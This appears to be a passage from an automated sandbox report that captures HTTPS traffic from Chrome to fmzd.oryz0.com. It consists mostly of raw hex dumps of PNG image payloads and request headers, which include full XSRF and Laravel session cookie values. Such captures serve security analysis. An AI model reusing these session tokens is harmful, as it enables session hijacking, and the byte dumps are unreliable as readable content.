2024-05-23 08:31:39 UTC	1369	IN	Data Raw: d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 c4 5f 7f ed d6 f6 d9 47 Data Ascii: V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y_G
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 ad 94 c3 5b 89 bf 9e 5b Data Ascii: !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&[[
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 4f e0 96 e8 20 92 16 f0 Data Ascii: OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;O
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 3c 30 31 3a 84 16 eb 2b Data Ascii: ?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!<01:+
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 0f 00 97 52 bd 15 f4 aa Data Ascii: w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|R
2024-05-23 08:31:39 UTC	1120	IN	Data Raw: a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 5f d1 41 4a 62 7b d2 78 Data Ascii: >o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf_AJb{x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49814	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:38 UTC	1145	OUT	GET /qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:39 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:39 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iUfWgvGUEjN612kRkazZtQzyya1v94ne6tHGqfEkicmFscxJHlNvPo%2FVIIV2G650VbpDdvA6%2BYlwoIieptABvKCGJQTF%2BcxifEK7pDOp9t3X7%2FjTRIbCtzlx26O56w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0db6ddd7ca6-EWR
2024-05-23 08:31:39 UTC	689	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 Data Ascii: >!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 Data Ascii: P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CV
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 Data Ascii: "e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^G
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b Data Ascii: 0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 Data Ascii: UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa Data Ascii: '$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 Data Ascii: ~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J!
2024-05-23 08:31:39 UTC	158	IN	Data Raw: 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 Data Ascii: rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad 9a 62 f6 29 29 96 33 e1 92 80 6f e4 f6 7e 6a ba b8 dc 80 49 1e 70 b9 ac 05 49 ea 59 d9 cc 88 fe 3b 2a 23 bc 2b 60 48 b9 b2 9a 86 46 96 ed 23 1e 3e c5 dd 47 aa ed 5b b7 cc 63 8e a6 f5 aa 6b 45 9f 0c a1 53 ae 85 61 e5 bd fb 5a ed 43 1f c2 19 d1 eb 03 75 71 f5 29 5a f2 eb da ad 1b 17 76 4d b2 d5 ec d7 df 26 a0 53 c7 0e a2 b5 55 5c 21 a9 be 35 8c e8 bf 63 47 66 f3 64 56 af 8d 42 32 e2 91 cc 78 24 43 9e b2 a5 5c c9 62 28 5d 9c df 85 81 3f Data Ascii: \751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/b))3o~jIpIY;*#+`HF#>G[ckESaZCuq)ZvM&SU\!5cGfdVB2x$C\b(]?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49816	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:39 UTC	1127	OUT	GET /stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:39 UTC	658	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:39 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tBSvMSdDT5FO4oEV5EL%2BBLxvvBJ5jz0ZYbrjr1cOsnzMVpVXFuHgpSQSccf1QcDnfuyjAKfimaU5OUPQ5KBoqEXhcyNciE8gm0NYIP5kng%2BF6hMOfkAdkS3syWYXOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0ddaf275e71-EWR
